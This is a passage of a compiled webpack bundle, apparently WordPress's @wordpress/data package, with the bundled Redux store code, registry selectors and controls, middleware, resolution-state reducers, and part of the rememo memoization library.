value = value[1]; } callback.call(thisArg, value, key, _this); }); } /** * Removes all elements. */ }, { key: "clear", value: function clear() { this._map = new Map(); this._arrayTreeMap = new Map(); this._objectTreeMap = new Map(); } }, { key: "size", get: function get() { return this._map.size; } }]); return EquivalentKeyMap; }(); module.exports = EquivalentKeyMap; /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /******/ /* webpack/runtime/compat get default export */ /******/ (() => { /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = (module) => { /******/ var getter = module && module.__esModule ? /******/ () => (module['default']) : /******/ () => (module); /******/ __webpack_require__.d(getter, { a: getter }); /******/ return getter; /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { AsyncModeProvider: () => (/* reexport */ async_mode_provider_context), RegistryConsumer: () => (/* reexport */ RegistryConsumer), RegistryProvider: () => (/* reexport */ context), combineReducers: () => (/* binding */ build_module_combineReducers), controls: () => (/* reexport */ controls), createReduxStore: () => (/* reexport */ createReduxStore), createRegistry: () => (/* reexport */ createRegistry), createRegistryControl: () => (/* reexport */ createRegistryControl), createRegistrySelector: () => (/* reexport */ createRegistrySelector), createSelector: () => (/* reexport */ rememo), dispatch: () => (/* reexport */ dispatch_dispatch), plugins: () => (/* reexport */ plugins_namespaceObject), register: () => (/* binding */ register), registerGenericStore: () => (/* binding */ registerGenericStore), registerStore: () => (/* binding */ registerStore), resolveSelect: () => (/* binding */ build_module_resolveSelect), select: () => (/* reexport */ select_select), subscribe: () => (/* binding */ subscribe), suspendSelect: () => (/* binding */ suspendSelect), use: () => (/* binding */ use), useDispatch: () => (/* reexport */ use_dispatch), useRegistry: () => (/* reexport */ useRegistry), useSelect: () => (/* reexport */ useSelect), useSuspenseSelect: () => (/* reexport */ useSuspenseSelect), withDispatch: () => (/* reexport */ with_dispatch), withRegistry: () => (/* reexport */ with_registry), withSelect: () => (/* reexport */ with_select) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/data/build-module/redux-store/metadata/selectors.js var selectors_namespaceObject = {}; __webpack_require__.r(selectors_namespaceObject); __webpack_require__.d(selectors_namespaceObject, { countSelectorsByStatus: () => (countSelectorsByStatus), getCachedResolvers: () => (getCachedResolvers), getIsResolving: () => (getIsResolving), getResolutionError: () => (getResolutionError), getResolutionState: () => (getResolutionState), hasFinishedResolution: () => (hasFinishedResolution), hasResolutionFailed: () => (hasResolutionFailed), hasResolvingSelectors: () => (hasResolvingSelectors), hasStartedResolution: () => (hasStartedResolution), isResolving: () => (isResolving) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/data/build-module/redux-store/metadata/actions.js var actions_namespaceObject = {}; __webpack_require__.r(actions_namespaceObject); __webpack_require__.d(actions_namespaceObject, { failResolution: () => (failResolution), failResolutions: () => (failResolutions), finishResolution: () => (finishResolution), finishResolutions: () => (finishResolutions), invalidateResolution: () => (invalidateResolution), invalidateResolutionForStore: () => (invalidateResolutionForStore), invalidateResolutionForStoreSelector: () => (invalidateResolutionForStoreSelector), startResolution: () => (startResolution), startResolutions: () => (startResolutions) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/data/build-module/plugins/index.js var plugins_namespaceObject = {}; __webpack_require__.r(plugins_namespaceObject); __webpack_require__.d(plugins_namespaceObject, { persistence: () => (persistence) }); ;// external ["wp","deprecated"] const external_wp_deprecated_namespaceObject = window["wp"]["deprecated"]; var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_namespaceObject); ;// ./node_modules/redux/dist/redux.mjs // src/utils/formatProdErrorMessage.ts function formatProdErrorMessage(code) { return `Minified Redux error #${code}; visit https://redux.js.org/Errors?code=${code} for the full message or use the non-minified dev environment for full errors. `; } // src/utils/symbol-observable.ts var $$observable = /* @__PURE__ */ (() => typeof Symbol === "function" && Symbol.observable || "@@observable")(); var symbol_observable_default = $$observable; // src/utils/actionTypes.ts var randomString = () => Math.random().toString(36).substring(7).split("").join("."); var ActionTypes = { INIT: `@@redux/INIT${/* @__PURE__ */ randomString()}`, REPLACE: `@@redux/REPLACE${/* @__PURE__ */ randomString()}`, PROBE_UNKNOWN_ACTION: () => `@@redux/PROBE_UNKNOWN_ACTION${randomString()}` }; var actionTypes_default = ActionTypes; // src/utils/isPlainObject.ts function isPlainObject(obj) { if (typeof obj !== "object" || obj === null) return false; let proto = obj; while (Object.getPrototypeOf(proto) !== null) { proto = Object.getPrototypeOf(proto); } return Object.getPrototypeOf(obj) === proto || Object.getPrototypeOf(obj) === null; } // src/utils/kindOf.ts function miniKindOf(val) { if (val === void 0) return "undefined"; if (val === null) return "null"; const type = typeof val; switch (type) { case "boolean": case "string": case "number": case "symbol": case "function": { return type; } } if (Array.isArray(val)) return "array"; if (isDate(val)) return "date"; if (isError(val)) return "error"; const constructorName = ctorName(val); switch (constructorName) { case "Symbol": case "Promise": case "WeakMap": case "WeakSet": case "Map": case "Set": return constructorName; } return Object.prototype.toString.call(val).slice(8, -1).toLowerCase().replace(/\s/g, ""); } function ctorName(val) { return typeof val.constructor === "function" ? val.constructor.name : null; } function isError(val) { return val instanceof Error || typeof val.message === "string" && val.constructor && typeof val.constructor.stackTraceLimit === "number"; } function isDate(val) { if (val instanceof Date) return true; return typeof val.toDateString === "function" && typeof val.getDate === "function" && typeof val.setDate === "function"; } function kindOf(val) { let typeOfVal = typeof val; if (false) {} return typeOfVal; } // src/createStore.ts function createStore(reducer, preloadedState, enhancer) { if (typeof reducer !== "function") { throw new Error( true ? formatProdErrorMessage(2) : 0); } if (typeof preloadedState === "function" && typeof enhancer === "function" || typeof enhancer === "function" && typeof arguments[3] === "function") { throw new Error( true ? formatProdErrorMessage(0) : 0); } if (typeof preloadedState === "function" && typeof enhancer === "undefined") { enhancer = preloadedState; preloadedState = void 0; } if (typeof enhancer !== "undefined") { if (typeof enhancer !== "function") { throw new Error( true ? formatProdErrorMessage(1) : 0); } return enhancer(createStore)(reducer, preloadedState); } let currentReducer = reducer; let currentState = preloadedState; let currentListeners = /* @__PURE__ */ new Map(); let nextListeners = currentListeners; let listenerIdCounter = 0; let isDispatching = false; function ensureCanMutateNextListeners() { if (nextListeners === currentListeners) { nextListeners = /* @__PURE__ */ new Map(); currentListeners.forEach((listener, key) => { nextListeners.set(key, listener); }); } } function getState() { if (isDispatching) { throw new Error( true ? formatProdErrorMessage(3) : 0); } return currentState; } function subscribe(listener) { if (typeof listener !== "function") { throw new Error( true ? formatProdErrorMessage(4) : 0); } if (isDispatching) { throw new Error( true ? formatProdErrorMessage(5) : 0); } let isSubscribed = true; ensureCanMutateNextListeners(); const listenerId = listenerIdCounter++; nextListeners.set(listenerId, listener); return function unsubscribe() { if (!isSubscribed) { return; } if (isDispatching) { throw new Error( true ? formatProdErrorMessage(6) : 0); } isSubscribed = false; ensureCanMutateNextListeners(); nextListeners.delete(listenerId); currentListeners = null; }; } function dispatch(action) { if (!isPlainObject(action)) { throw new Error( true ? formatProdErrorMessage(7) : 0); } if (typeof action.type === "undefined") { throw new Error( true ? formatProdErrorMessage(8) : 0); } if (typeof action.type !== "string") { throw new Error( true ? formatProdErrorMessage(17) : 0); } if (isDispatching) { throw new Error( true ? formatProdErrorMessage(9) : 0); } try { isDispatching = true; currentState = currentReducer(currentState, action); } finally { isDispatching = false; } const listeners = currentListeners = nextListeners; listeners.forEach((listener) => { listener(); }); return action; } function replaceReducer(nextReducer) { if (typeof nextReducer !== "function") { throw new Error( true ? formatProdErrorMessage(10) : 0); } currentReducer = nextReducer; dispatch({ type: actionTypes_default.REPLACE }); } function observable() { const outerSubscribe = subscribe; return { /** * The minimal observable subscription method. * @param observer Any object that can be used as an observer. * The observer object should have a `next` method. * @returns An object with an `unsubscribe` method that can * be used to unsubscribe the observable from the store, and prevent further * emission of values from the observable. */ subscribe(observer) { if (typeof observer !== "object" || observer === null) { throw new Error( true ? formatProdErrorMessage(11) : 0); } function observeState() { const observerAsObserver = observer; if (observerAsObserver.next) { observerAsObserver.next(getState()); } } observeState(); const unsubscribe = outerSubscribe(observeState); return { unsubscribe }; }, [symbol_observable_default]() { return this; } }; } dispatch({ type: actionTypes_default.INIT }); const store = { dispatch, subscribe, getState, replaceReducer, [symbol_observable_default]: observable }; return store; } function legacy_createStore(reducer, preloadedState, enhancer) { return createStore(reducer, preloadedState, enhancer); } // src/utils/warning.ts function warning(message) { if (typeof console !== "undefined" && typeof console.error === "function") { console.error(message); } try { throw new Error(message); } catch (e) { } } // src/combineReducers.ts function getUnexpectedStateShapeWarningMessage(inputState, reducers, action, unexpectedKeyCache) { const reducerKeys = Object.keys(reducers); const argumentName = action && action.type === actionTypes_default.INIT ? "preloadedState argument passed to createStore" : "previous state received by the reducer"; if (reducerKeys.length === 0) { return "Store does not have a valid reducer. Make sure the argument passed to combineReducers is an object whose values are reducers."; } if (!isPlainObject(inputState)) { return `The ${argumentName} has unexpected type of "${kindOf(inputState)}". Expected argument to be an object with the following keys: "${reducerKeys.join('", "')}"`; } const unexpectedKeys = Object.keys(inputState).filter((key) => !reducers.hasOwnProperty(key) && !unexpectedKeyCache[key]); unexpectedKeys.forEach((key) => { unexpectedKeyCache[key] = true; }); if (action && action.type === actionTypes_default.REPLACE) return; if (unexpectedKeys.length > 0) { return `Unexpected ${unexpectedKeys.length > 1 ? "keys" : "key"} "${unexpectedKeys.join('", "')}" found in ${argumentName}. Expected to find one of the known reducer keys instead: "${reducerKeys.join('", "')}". Unexpected keys will be ignored.`; } } function assertReducerShape(reducers) { Object.keys(reducers).forEach((key) => { const reducer = reducers[key]; const initialState = reducer(void 0, { type: actionTypes_default.INIT }); if (typeof initialState === "undefined") { throw new Error( true ? formatProdErrorMessage(12) : 0); } if (typeof reducer(void 0, { type: actionTypes_default.PROBE_UNKNOWN_ACTION() }) === "undefined") { throw new Error( true ? formatProdErrorMessage(13) : 0); } }); } function combineReducers(reducers) { const reducerKeys = Object.keys(reducers); const finalReducers = {}; for (let i = 0; i < reducerKeys.length; i++) { const key = reducerKeys[i]; if (false) {} if (typeof reducers[key] === "function") { finalReducers[key] = reducers[key]; } } const finalReducerKeys = Object.keys(finalReducers); let unexpectedKeyCache; if (false) {} let shapeAssertionError; try { assertReducerShape(finalReducers); } catch (e) { shapeAssertionError = e; } return function combination(state = {}, action) { if (shapeAssertionError) { throw shapeAssertionError; } if (false) {} let hasChanged = false; const nextState = {}; for (let i = 0; i < finalReducerKeys.length; i++) { const key = finalReducerKeys[i]; const reducer = finalReducers[key]; const previousStateForKey = state[key]; const nextStateForKey = reducer(previousStateForKey, action); if (typeof nextStateForKey === "undefined") { const actionType = action && action.type; throw new Error( true ? formatProdErrorMessage(14) : 0); } nextState[key] = nextStateForKey; hasChanged = hasChanged || nextStateForKey !== previousStateForKey; } hasChanged = hasChanged || finalReducerKeys.length !== Object.keys(state).length; return hasChanged ? nextState : state; }; } // src/bindActionCreators.ts function bindActionCreator(actionCreator, dispatch) { return function(...args) { return dispatch(actionCreator.apply(this, args)); }; } function bindActionCreators(actionCreators, dispatch) { if (typeof actionCreators === "function") { return bindActionCreator(actionCreators, dispatch); } if (typeof actionCreators !== "object" || actionCreators === null) { throw new Error( true ? formatProdErrorMessage(16) : 0); } const boundActionCreators = {}; for (const key in actionCreators) { const actionCreator = actionCreators[key]; if (typeof actionCreator === "function") { boundActionCreators[key] = bindActionCreator(actionCreator, dispatch); } } return boundActionCreators; } // src/compose.ts function compose(...funcs) { if (funcs.length === 0) { return (arg) => arg; } if (funcs.length === 1) { return funcs[0]; } return funcs.reduce((a, b) => (...args) => a(b(...args))); } // src/applyMiddleware.ts function applyMiddleware(...middlewares) { return (createStore2) => (reducer, preloadedState) => { const store = createStore2(reducer, preloadedState); let dispatch = () => { throw new Error( true ? formatProdErrorMessage(15) : 0); }; const middlewareAPI = { getState: store.getState, dispatch: (action, ...args) => dispatch(action, ...args) }; const chain = middlewares.map((middleware) => middleware(middlewareAPI)); dispatch = compose(...chain)(store.dispatch); return { ...store, dispatch }; }; } // src/utils/isAction.ts function isAction(action) { return isPlainObject(action) && "type" in action && typeof action.type === "string"; } //# sourceMappingURL=redux.mjs.map // EXTERNAL MODULE: ./node_modules/equivalent-key-map/equivalent-key-map.js var equivalent_key_map = __webpack_require__(3249); var equivalent_key_map_default = /*#__PURE__*/__webpack_require__.n(equivalent_key_map); ;// external ["wp","reduxRoutine"] const external_wp_reduxRoutine_namespaceObject = window["wp"]["reduxRoutine"]; var external_wp_reduxRoutine_default = /*#__PURE__*/__webpack_require__.n(external_wp_reduxRoutine_namespaceObject); ;// external ["wp","compose"] const external_wp_compose_namespaceObject = window["wp"]["compose"]; ;// ./node_modules/@wordpress/data/build-module/redux-store/combine-reducers.js function combine_reducers_combineReducers(reducers) { const keys = Object.keys(reducers); return function combinedReducer(state = {}, action) { const nextState = {}; let hasChanged = false; for (const key of keys) { const reducer = reducers[key]; const prevStateForKey = state[key]; const nextStateForKey = reducer(prevStateForKey, action); nextState[key] = nextStateForKey; hasChanged = hasChanged || nextStateForKey !== prevStateForKey; } return hasChanged ? nextState : state; }; } ;// ./node_modules/@wordpress/data/build-module/factory.js /** * Internal dependencies */ /** * Creates a selector function that takes additional curried argument with the * registry `select` function. While a regular selector has signature * ```js * ( state, ...selectorArgs ) => ( result ) * ``` * that allows to select data from the store's `state`, a registry selector * has signature: * ```js * ( select ) => ( state, ...selectorArgs ) => ( result ) * ``` * that supports also selecting from other registered stores. * * @example * ```js * import { store as coreStore } from '@wordpress/core-data'; * import { store as editorStore } from '@wordpress/editor'; * * const getCurrentPostId = createRegistrySelector( ( select ) => ( state ) => { * return select( editorStore ).getCurrentPostId(); * } ); * * const getPostEdits = createRegistrySelector( ( select ) => ( state ) => { * // calling another registry selector just like any other function * const postType = getCurrentPostType( state ); * const postId = getCurrentPostId( state ); * return select( coreStore ).getEntityRecordEdits( 'postType', postType, postId ); * } ); * ``` * * Note how the `getCurrentPostId` selector can be called just like any other function, * (it works even inside a regular non-registry selector) and we don't need to pass the * registry as argument. The registry binding happens automatically when registering the selector * with a store. * * @param registrySelector Function receiving a registry `select` * function and returning a state selector. * * @return Registry selector that can be registered with a store. */ function createRegistrySelector(registrySelector) { const selectorsByRegistry = new WeakMap(); // Create a selector function that is bound to the registry referenced by `selector.registry` // and that has the same API as a regular selector. Binding it in such a way makes it // possible to call the selector directly from another selector. const wrappedSelector = (...args) => { let selector = selectorsByRegistry.get(wrappedSelector.registry); // We want to make sure the cache persists even when new registry // instances are created. For example patterns create their own editors // with their own core/block-editor stores, so we should keep track of // the cache for each registry instance. if (!selector) { selector = registrySelector(wrappedSelector.registry.select); selectorsByRegistry.set(wrappedSelector.registry, selector); } return selector(...args); }; /** * Flag indicating that the selector is a registry selector that needs the correct registry * reference to be assigned to `selector.registry` to make it work correctly. * be mapped as a registry selector. */ wrappedSelector.isRegistrySelector = true; return wrappedSelector; } /** * Creates a control function that takes additional curried argument with the `registry` object. * While a regular control has signature * ```js * ( action ) => ( iteratorOrPromise ) * ``` * where the control works with the `action` that it's bound to, a registry control has signature: * ```js * ( registry ) => ( action ) => ( iteratorOrPromise ) * ``` * A registry control is typically used to select data or dispatch an action to a registered * store. * * When registering a control created with `createRegistryControl` with a store, the store * knows which calling convention to use when executing the control. * * @param registryControl Function receiving a registry object and returning a control. * * @return Registry control that can be registered with a store. */ function createRegistryControl(registryControl) { registryControl.isRegistryControl = true; return registryControl; } ;// ./node_modules/@wordpress/data/build-module/controls.js /** * Internal dependencies */ /** @typedef {import('./types').StoreDescriptor} StoreDescriptor */ const SELECT = '@@data/SELECT'; const RESOLVE_SELECT = '@@data/RESOLVE_SELECT'; const DISPATCH = '@@data/DISPATCH'; function isObject(object) { return object !== null && typeof object === 'object'; } /** * Dispatches a control action for triggering a synchronous registry select. * * Note: This control synchronously returns the current selector value, triggering the * resolution, but not waiting for it. * * @param {string|StoreDescriptor} storeNameOrDescriptor Unique namespace identifier for the store * @param {string} selectorName The name of the selector. * @param {Array} args Arguments for the selector. * * @example * ```js * import { controls } from '@wordpress/data'; * * // Action generator using `select`. * export function* myAction() { * const isEditorSideBarOpened = yield controls.select( 'core/edit-post', 'isEditorSideBarOpened' ); * // Do stuff with the result from the `select`. * } * ``` * * @return {Object} The control descriptor. */ function controls_select(storeNameOrDescriptor, selectorName, ...args) { return { type: SELECT, storeKey: isObject(storeNameOrDescriptor) ? storeNameOrDescriptor.name : storeNameOrDescriptor, selectorName, args }; } /** * Dispatches a control action for triggering and resolving a registry select. * * Note: when this control action is handled, it automatically considers * selectors that may have a resolver. In such case, it will return a `Promise` that resolves * after the selector finishes resolving, with the final result value. * * @param {string|StoreDescriptor} storeNameOrDescriptor Unique namespace identifier for the store * @param {string} selectorName The name of the selector * @param {Array} args Arguments for the selector. * * @example * ```js * import { controls } from '@wordpress/data'; * * // Action generator using resolveSelect * export function* myAction() { * const isSidebarOpened = yield controls.resolveSelect( 'core/edit-post', 'isEditorSideBarOpened' ); * // do stuff with the result from the select. * } * ``` * * @return {Object} The control descriptor. */ function resolveSelect(storeNameOrDescriptor, selectorName, ...args) { return { type: RESOLVE_SELECT, storeKey: isObject(storeNameOrDescriptor) ? storeNameOrDescriptor.name : storeNameOrDescriptor, selectorName, args }; } /** * Dispatches a control action for triggering a registry dispatch. * * @param {string|StoreDescriptor} storeNameOrDescriptor Unique namespace identifier for the store * @param {string} actionName The name of the action to dispatch * @param {Array} args Arguments for the dispatch action. * * @example * ```js * import { controls } from '@wordpress/data-controls'; * * // Action generator using dispatch * export function* myAction() { * yield controls.dispatch( 'core/editor', 'togglePublishSidebar' ); * // do some other things. * } * ``` * * @return {Object} The control descriptor. */ function dispatch(storeNameOrDescriptor, actionName, ...args) { return { type: DISPATCH, storeKey: isObject(storeNameOrDescriptor) ? storeNameOrDescriptor.name : storeNameOrDescriptor, actionName, args }; } const controls = { select: controls_select, resolveSelect, dispatch }; const builtinControls = { [SELECT]: createRegistryControl(registry => ({ storeKey, selectorName, args }) => registry.select(storeKey)[selectorName](...args)), [RESOLVE_SELECT]: createRegistryControl(registry => ({ storeKey, selectorName, args }) => { const method = registry.select(storeKey)[selectorName].hasResolver ? 'resolveSelect' : 'select'; return registry[method](storeKey)[selectorName](...args); }), [DISPATCH]: createRegistryControl(registry => ({ storeKey, actionName, args }) => registry.dispatch(storeKey)[actionName](...args)) }; ;// external ["wp","privateApis"] const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"]; ;// ./node_modules/@wordpress/data/build-module/lock-unlock.js /** * WordPress dependencies */ const { lock, unlock } = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)('I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.', '@wordpress/data'); ;// ./node_modules/is-promise/index.mjs function isPromise(obj) { return !!obj && (typeof obj === 'object' || typeof obj === 'function') && typeof obj.then === 'function'; } ;// ./node_modules/@wordpress/data/build-module/promise-middleware.js /** * External dependencies */ /** * Simplest possible promise redux middleware. * * @type {import('redux').Middleware} */ const promiseMiddleware = () => next => action => { if (isPromise(action)) { return action.then(resolvedAction => { if (resolvedAction) { return next(resolvedAction); } }); } return next(action); }; /* harmony default export */ const promise_middleware = (promiseMiddleware); ;// ./node_modules/@wordpress/data/build-module/resolvers-cache-middleware.js /** @typedef {import('./registry').WPDataRegistry} WPDataRegistry */ /** * Creates a middleware handling resolvers cache invalidation. * * @param {WPDataRegistry} registry Registry for which to create the middleware. * @param {string} storeName Name of the store for which to create the middleware. * * @return {Function} Middleware function. */ const createResolversCacheMiddleware = (registry, storeName) => () => next => action => { const resolvers = registry.select(storeName).getCachedResolvers(); const resolverEntries = Object.entries(resolvers); resolverEntries.forEach(([selectorName, resolversByArgs]) => { const resolver = registry.stores[storeName]?.resolvers?.[selectorName]; if (!resolver || !resolver.shouldInvalidate) { return; } resolversByArgs.forEach((value, args) => { // Works around a bug in `EquivalentKeyMap` where `map.delete` merely sets an entry value // to `undefined` and `map.forEach` then iterates also over these orphaned entries. if (value === undefined) { return; } // resolversByArgs is the map Map([ args ] => boolean) storing the cache resolution status for a given selector. // If the value is "finished" or "error" it means this resolver has finished its resolution which means we need // to invalidate it, if it's true it means it's inflight and the invalidation is not necessary. if (value.status !== 'finished' && value.status !== 'error') { return; } if (!resolver.shouldInvalidate(action, ...args)) { return; } // Trigger cache invalidation registry.dispatch(storeName).invalidateResolution(selectorName, args); }); }); return next(action); }; /* harmony default export */ const resolvers_cache_middleware = (createResolversCacheMiddleware); ;// ./node_modules/@wordpress/data/build-module/redux-store/thunk-middleware.js function createThunkMiddleware(args) { return () => next => action => { if (typeof action === 'function') { return action(args); } return next(action); }; } ;// ./node_modules/@wordpress/data/build-module/redux-store/metadata/utils.js /** * External dependencies */ /** * Higher-order reducer creator which creates a combined reducer object, keyed * by a property on the action object. * * @param actionProperty Action property by which to key object. * @return Higher-order reducer. */ const onSubKey = actionProperty => reducer => (state = {}, action) => { // Retrieve subkey from action. Do not track if undefined; useful for cases // where reducer is scoped by action shape. const key = action[actionProperty]; if (key === undefined) { return state; } // Avoid updating state if unchanged. Note that this also accounts for a // reducer which returns undefined on a key which is not yet tracked. const nextKeyState = reducer(state[key], action); if (nextKeyState === state[key]) { return state; } return { ...state, [key]: nextKeyState }; }; /** * Normalize selector argument array by defaulting `undefined` value to an empty array * and removing trailing `undefined` values. * * @param args Selector argument array * @return Normalized state key array */ function selectorArgsToStateKey(args) { if (args === undefined || args === null) { return []; } const len = args.length; let idx = len; while (idx > 0 && args[idx - 1] === undefined) { idx--; } return idx === len ? args : args.slice(0, idx); } ;// ./node_modules/@wordpress/data/build-module/redux-store/metadata/reducer.js /** * External dependencies */ /** * Internal dependencies */ /** * Reducer function returning next state for selector resolution of * subkeys, object form: * * selectorName -> EquivalentKeyMap<Array,boolean> */ const subKeysIsResolved = onSubKey('selectorName')((state = new (equivalent_key_map_default())(), action) => { switch (action.type) { case 'START_RESOLUTION': { const nextState = new (equivalent_key_map_default())(state); nextState.set(selectorArgsToStateKey(action.args), { status: 'resolving' }); return nextState; } case 'FINISH_RESOLUTION': { const nextState = new (equivalent_key_map_default())(state); nextState.set(selectorArgsToStateKey(action.args), { status: 'finished' }); return nextState; } case 'FAIL_RESOLUTION': { const nextState = new (equivalent_key_map_default())(state); nextState.set(selectorArgsToStateKey(action.args), { status: 'error', error: action.error }); return nextState; } case 'START_RESOLUTIONS': { const nextState = new (equivalent_key_map_default())(state); for (const resolutionArgs of action.args) { nextState.set(selectorArgsToStateKey(resolutionArgs), { status: 'resolving' }); } return nextState; } case 'FINISH_RESOLUTIONS': { const nextState = new (equivalent_key_map_default())(state); for (const resolutionArgs of action.args) { nextState.set(selectorArgsToStateKey(resolutionArgs), { status: 'finished' }); } return nextState; } case 'FAIL_RESOLUTIONS': { const nextState = new (equivalent_key_map_default())(state); action.args.forEach((resolutionArgs, idx) => { const resolutionState = { status: 'error', error: undefined }; const error = action.errors[idx]; if (error) { resolutionState.error = error; } nextState.set(selectorArgsToStateKey(resolutionArgs), resolutionState); }); return nextState; } case 'INVALIDATE_RESOLUTION': { const nextState = new (equivalent_key_map_default())(state); nextState.delete(selectorArgsToStateKey(action.args)); return nextState; } } return state; }); /** * Reducer function returning next state for selector resolution, object form: * * selectorName -> EquivalentKeyMap<Array, boolean> * * @param state Current state. * @param action Dispatched action. * * @return Next state. */ const isResolved = (state = {}, action) => { switch (action.type) { case 'INVALIDATE_RESOLUTION_FOR_STORE': return {}; case 'INVALIDATE_RESOLUTION_FOR_STORE_SELECTOR': { if (action.selectorName in state) { const { [action.selectorName]: removedSelector, ...restState } = state; return restState; } return state; } case 'START_RESOLUTION': case 'FINISH_RESOLUTION': case 'FAIL_RESOLUTION': case 'START_RESOLUTIONS': case 'FINISH_RESOLUTIONS': case 'FAIL_RESOLUTIONS': case 'INVALIDATE_RESOLUTION': return subKeysIsResolved(state, action); } return state; }; /* harmony default export */ const metadata_reducer = (isResolved); ;// ./node_modules/rememo/rememo.js /** @typedef {(...args: any[]) => *[]} GetDependants */ /** @typedef {() => void} Clear */ /** * @typedef {{ * getDependants: GetDependants, * clear: Clear * }} EnhancedSelector */ /** * Internal cache entry. * * @typedef CacheNode * * @property {?CacheNode|undefined} [prev] Previous node. * @property {?CacheNode|undefined} [next] Next node. * @property {*[]} args Function arguments for cache entry. * @property {*} val Function result. */ /** * @typedef Cache * * @property {Clear} clear Function to clear cache. * @property {boolean} [isUniqueByDependants] Whether dependants are valid in * considering cache uniqueness. A cache is unique if dependents are all arrays * or objects. * @property {CacheNode?} [head] Cache head. * @property {*[]} [lastDependants] Dependants from previous invocation. */ /** * Arbitrary value used as key for referencing cache object in WeakMap tree. * * @type {{}} */ var LEAF_KEY = {}; /** * Returns the first argument as the sole entry in an array. * * @template T * * @param {T} value Value to return. * * @return {[T]} Value returned as entry in array. */ function arrayOf(value) { return [value]; } /** * Returns true if the value passed is object-like, or false otherwise. A value * is object-like if it can support property assignment, e.g. object or array. * * @param {*} value Value to test. * * @return {boolean} Whether value is object-like. */ function isObjectLike(value) { return !!value && 'object' === typeof value; } /** * Creates and returns a new cache object. * * @return {Cache} Cache object. */ function createCache() { /** @type {Cache} */ var cache = { clear: function () { cache.head = null; }, }; return cache; } /** * Returns true if entries within the two arrays are strictly equal by * reference from a starting index. * * @param {*[]} a First array. * @param {*[]} b Second array. * @param {number} fromIndex Index from which to start comparison. * * @return {boolean} Whether arrays are shallowly equal. */ function isShallowEqual(a, b, fromIndex) { var i; if (a.length !== b.length) { return false; } for (i = fromIndex; i < a.length; i++) { if (a[i] !== b[i]) { return false; } } return true; } /** * Returns a memoized selector function. The getDependants function argument is * called before the memoized selector and is expected to return an immutable * reference or array of references on which the selector depends for computing * its own return value. The memoize cache is preserved only as long as those * dependant references remain the same. If getDependants returns a different * reference(s), the cache is cleared and the selector value regenerated. * * @template {(...args: *[]) => *} S * * @param {S} selector Selector function. * @param {GetDependants=} getDependants Dependant getter returning an array of * references used in cache bust consideration. */ /* harmony default export */ function rememo(selector, getDependants) { /** @type {WeakMap<*,*>} */ var rootCache; /** @type {GetDependants} */ var normalizedGetDependants = getDependants ? getDependants : arrayOf; /** * Returns the cache for a given dependants array. When possible, a WeakMap * will be used to create a unique cache for each set of dependants. This * is feasible due to the nature of WeakMap in allowing garbage collection * to occur on entries where the key object is no longer referenced. Since * WeakMap requires the key to be an object, this is only possible when the * dependant is object-like. The root cache is created as a hierarchy where * each top-level key is the first entry in a dependants set, the value a * WeakMap where each key is the next dependant, and so on. This continues * so long as the dependants are object-like. If no dependants are object- * like, then the cache is shared across all invocations. * * @see isObjectLike * * @param {*[]} dependants Selector dependants. * * @return {Cache} Cache object. */ function getCache(dependants) { var caches = rootCache, isUniqueByDependants = true, i, dependant, map, cache; for (i = 0; i < dependants.length; i++) { dependant = dependants[i]; // Can only compose WeakMap from object-like key. if (!isObjectLike(dependant)) { isUniqueByDependants = false; break; } // Does current segment of cache already have a WeakMap? if (caches.has(dependant)) { // Traverse into nested WeakMap. caches = caches.get(dependant); } else { // Create, set, and traverse into a new one. map = new WeakMap(); caches.set(dependant, map); caches = map; } } // We use an arbitrary (but consistent) object as key for the last item // in the WeakMap to serve as our running cache. if (!caches.has(LEAF_KEY)) { cache = createCache(); cache.isUniqueByDependants = isUniqueByDependants; caches.set(LEAF_KEY, cache); } return caches.get(LEAF_KEY); } /** * Resets root memoization cache. */ function clear() { rootCache = new WeakMap(); } /* eslint-disable jsdoc/check-param-names */ /** * The augmented selector call, considering first whether dependants have * changed before passing it to underlying memoize function. * * @param {*} source Source object for derivation. * @param {...*} extraArgs Additional arguments to pass to selector. * * @return {*} Selector result. */ /* eslint-enable jsdoc/check-param-names */ function callSelector(/* source, ...extraArgs */) { var len = arguments.length, cache, node, i, args, dependants; // Create copy of arguments (avoid leaking deoptimization). args = new Array(len); for (i = 0; i < len; i++) { args[i] = arguments[i]; } dependants = normalizedGetDependants.apply(null, args); cache = getCache(dependants); // If not guaranteed uniqueness by dependants (primitive type), shallow // compare against last dependants and, if references have changed, // destroy cache to recalculate result. if (!cache.isUniqueByDependants) { if 